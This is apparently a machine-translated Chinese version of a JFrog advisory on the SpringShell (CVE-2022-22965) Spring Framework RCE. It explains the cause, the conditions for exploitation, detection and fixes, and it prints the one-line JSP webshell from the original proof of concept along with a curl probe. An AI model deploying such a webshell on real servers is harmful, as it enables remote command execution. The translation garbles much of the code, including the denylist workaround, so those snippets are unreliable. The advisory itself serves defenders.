SpringShell (Spring4Shell)零日漏洞CVE-2022-22965:所有你需要知道的

3月29日Cyberkendra安全博客发了一个关于a的耸人听闻的帖子Log4Shell- Spring框架中的等效远程代码执行(RCE)零日漏洞，但没有关于漏洞本身的任何可靠细节。的安全漏洞被称为“SpringShell”(或“Spring4Shell”)，因为它与臭名昭著的“Log4Shell”相似。一天后的3月30日，Twitter上发布了一个为期0天的概念验证，研究人员争先恐后地验证它的真实性。3月31日，该漏洞被官方确认春天的维护者并给定CVE ID -cve - 2022 - 22965随后发布了Spring框架的固定版本。

在某些条件下，该安全漏洞被正式发布为使用Spring框架的web应用程序的严重远程代码执行问题。

什么导致SpringShell (Spring4Shell)漏洞?

SpringShell漏洞CVE-2022-22965存在于Spring框架的“数据绑定”机制中。

该机制从请求URL或请求体中获取参数，并将其分配给函数实参或在某些情况下转换成Java对象．

public类Greeting{私有长id;私有字符串内容;

+

@GetMapping("/endpoint")公共字符串greetingSubmit(@ModelAttribute Greeting Greeting, Model Model) {

+
http://www.myapp.com/endpoint?内容和id = 5 =你好
=

greeting.getId() == 5 greeting.getContent() == "hello"

当将请求参数分配给Java对象时，存在固有的安全风险，因为构建对象的一些“内部”参数永远不应该由外部控制，这包括类，类加载器和ProtectionDomain参数。

春天包含具体代码这将阻止攻击者对这些内部属性进行赋值。

不幸的是，从Java 9开始，由于引入了新的API (class.getModule)，则可以绕过Spring的保护并将任意值赋给属性类加载器属性- - - - - -这是SpringShell的根本原因。

为什么CVE-2022-22965 - SpringShell (Spring4Shell)如此危险?

Spring框架是一个非常流行的用于构建web应用程序的框架，而SpringShell漏洞位于该框架的核心，这意味着许多使用Spring框架构建的web应用程序将容易受到此问题的影响。

尽管并不是所有web应用程序都可以利用安全漏洞(请参阅下一节)，但利用该漏洞的先决条件可能并不罕见。例如，Spring发布的基础教程之一——“处理递交表格”易受此漏洞的影响。由于许多web应用程序开发人员使用这些教程作为模板，这可能会导致易受攻击的应用程序出现。

该漏洞的影响可能是最高的——远程代码执行。

此外，JDK本身没有针对此类漏洞的缓解技术，并且以稳定的方式利用该漏洞是微不足道的。

尽管如此，我们不认为这个问题会像Log4Shell．

SpringShell (Spring4Shell)是如何被利用的如今？

有许多方法可以利用的修改类加载器，以获得远程代码执行，但最初发布的PoC漏洞选择利用此安全漏洞Tomcat-specific技巧-滥用AccessLogValve获取任意文件覆盖。

漏洞利用分两个阶段进行

• 覆盖Tomcat-specific类加载器属性，将访问日志文件路径更改为web根目录下的某个地方，并将日志模式(写入的数据)更改为包含webshell代码的常量模式。这将导致webshell JSP被放到web根目录下
• 向被删除的webshell发送查询请求，以执行任意shell命令

webshell是一个非常简单的JSP程序，它执行通过查询参数传递给它的shell命令

<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();Int a = -1;Byte [] b = new Byte [2048];While ((a=in.read(b))!=-1) {out。println(新的字符串(b));} % >

对这种开发技术的更详细的描述可以在这里找到．

究竟何时是SpringShell (Spring4Shell)漏洞可利用?

在高层次上，您的web应用程序可能容易受到攻击，如果-

• 你的web应用程序是在Spring框架上构建的(例如，使用Spring Boot)
• 您的web应用程序运行在JDK 9或更高版本上
• 您的web应用程序使用数据绑定将请求参数绑定到Java对象

扩展最后一个先决条件——由于该漏洞存在于Spring的数据绑定机制中，因此只有尝试将请求参数绑定到pojo (Plain Old Java Objects)的web应用程序才容易受到攻击。

在实践中，这意味着请求处理程序将接收用户定义的类类型作为其第一个参数。

以下任何注释都表示可能易受影响的请求处理程序

@RequestMapping @GetMapping @PostMapping @PutMapping @DeleteMapping @PatchMapping

一个脆弱的弹簧控制器的例子-

@Controller公共类HelloController {@GetMapping("/greeting")公共字符串helloWorld(@ModelAttribute SomeClass SomeClass, Model Model){返回"hello";}}

注意@ModelAttributeAnnotation，它表示数据绑定将会发生。

对象也可以编写相同的请求处理程序@ModelAttribute注释(用于someClass争论)，仍然是脆弱的-

@GetMapping("/greeting") public String helloWorld(SomeClass SomeClass, Model Model){返回"hello";｝

这是因为族不匹配的类型著名的类被解析为@ModelAttribute默认情况下。

作为参考，请注意，当使用以下参数类型/注释时，该漏洞不能被利用-

WebRequest NativeWebRequest ServletRequest ServletResponse MultipartRequest MultipartHttpServletRequest HttpSession PushBuilder Principal HttpMethod Locale TimeZone ZoneId InputStream Reader OutputStream Writer @PathVariable @MatrixVariable @RequestParam @RequestHeader @CookieValue @RequestBody HttpEntity @RequestPart Map Model ModelMap RedirectAttributes SessionStatus @SessionAttribute @SessionAttributes UriComponentsBuilder @RequestAttribute

关于当前漏洞的注意事项

由于原始PoC漏洞选择的特定利用向量(通过AccessLogValve覆盖任意文件)，该漏洞除了上述要求外还施加了两个要求:

• web应用程序必须由Apache Tomcat提供服务
• web应用程序必须作为WAR部署在Tomcat上。Spring Boot的默认部署方法(可执行的JAR)不容易受到攻击。

然而，我们怀疑即将到来的漏洞利用将采用不同的利用向量，并且不会受到这两个需求的影响。针对这个问题打补丁是很重要的，即使您使用的是不同的应用服务器(比如Eclipse Jetty)。

发表不实

由于这个漏洞是作为零日漏洞发布的，再加上CyberKendra的原始博客文章，已经发布了许多关于SpringShell的不准确信息。我们的研究团队不断关注最新的博客文章和出版物，并希望澄清一些观点-

• SpringShell不存在反序列化问题，而且春天的承诺在许多博客文章中提到的反序列化问题与SpringShell(或任何其他具体的CVE)无关。
• 该漏洞可以通过所有HTTP方法被利用，而不仅仅是通过GET/POST。我们可以看到PoC漏洞在@PutMapping处理程序上进行了微小的修改

• 虽然最初的漏洞PoC只适用于作为WAR托管在Apache Tomcat上的web应用程序(这是不常见的)，但无论托管的应用程序服务器如何，漏洞本身都是相关的。我们完全希望未来的SpringShell攻击能够针对不同的应用服务器(例如Eclipse Jetty)和不同的部署方法。
• 一些建议和工具考虑到基础spring bean包是易受攻击的，但是这个特定包的存在不足以远程利用这个漏洞。这是因为易受攻击的处理程序必须具有@RequestMapping注释(或等效的注释)，这些注释仅在spring web包中。

如何测试SpringShell (Spring4Shell)问题?

用于测试活动端点，而不是运行其中一个PoC漏洞可用,兰多里攻击小组发布了一个使用curl的简单测试

curl -s -o /dev/null -w "%{http_code}" host:port/path?class.module.classLoader.URLs%5B0%5D=0

如果返回的状态码是“400”-您的端点很可能是易受攻击的。

注意，返回的状态码不是“400”，不保证端点不容易受到攻击。

要测试本地代码库，JFrog发布了一个OSS工具它扫描编译的二进制代码，以找到易受攻击的web应用程序

为了解决将实际运行的应用程序与其源代码匹配的复杂性，我们将重点放在直接扫描编译后的二进制代码的工具上。为了过滤掉不相关的结果，我们选择扫描功能，它提供了一种健壮的方法，可以将相当一部分端点注销为非易受攻击的(端点绑定请求的类型)，从而帮助团队专注于更新他们的软件中可能实际易受攻击的部分。

如何完全修复SpringShell (Spring4Shell)漏洞?

修复SpringShell的最佳方法是将Spring Framework升级到5.2.20或5.3.18版本

如果您直接使用Spring Boot，请升级到2.6.6版本

升级Spring Framework的方法如下

Maven

编辑你的pom.xml- - - - - -

<属性> < spring-framework.version > 5.3.18 < / spring框架。版本>属性> < /

Gradle

编辑你的build.gradle- - - - - -

ext (spring框架。版本号']= '5.3.18'

不升级就能解决SpringShell (Spring4Shell)问题吗?

最好的做法是升级Spring Framework(如上一节所示)。如果目前无法升级，Spring官方博客建议修改应用程序代码并添加一个@ControllerAdvice这会阻碍分配到一些类加载器〇内部领域

@ControllerAdvice @Order(Ordered.LOWEST_PRECEDENCE) public class BinderControllerAdvice {@InitBinder公共void setAllowedFields(WebDataBinder dataBinder) {String[] denylist = new String[]{"class. class. class. class. class. class. class. class. class。*”、“类。*”、“* . class。*”、“* . class。* "};dataBinder.setDisallowedFields (denylist);}}

Spring提到过这种解决方法不是万无一失的和建议更多可行的变通方法，但一般来说，升级是解决这个问题的最佳方法。

JFrog平台易受SpringShell攻击吗?

经过内部调查，我们可以确认JFrog DevOps平台不容易受到SpringShell (CVE-2022-22965)或Spring Cloud Function中最近的RCE漏洞(CVE-2022-22963)的攻击。

SpringShell是否与CVE-2022-22963或CVE-2022-22950相关?

不幸的是，与SpringShell同时发布的另外两个Spring cve (CVE-2022-22965)造成了很多混乱。

这两个额外的cve与SpringShell无关，它们中的每一个都应该与SpringShell分开处理。

cve - 2022 - 22963是严重程度极高的RCE问题(哪个最初被报告为中等严重程度的问题)在春云功能。这是一个非常严重的问题，但是Spring Cloud Function没有Spring Framework那么广泛。

cve - 2022 - 22950是Spring框架中中等严重性的DoS问题。

如何使用JFrog x射线检测SpringShell漏洞?

JFrog Artifactory和JFrog x光可以检测易受SpringShell漏洞攻击的工件(针对任何受支持的工件类型)，并提供了详细的研究数据和缓解措施。阅读我们的如何修复的博客文章学习如何最好地使用JFrog平台来查找、修复和加强您的软件供应链。

与JFrog安全研究保持同步

关注JFrog安全研究团队的最新发现和技术更新安全研究网站并在推特上@JFrogSecurity．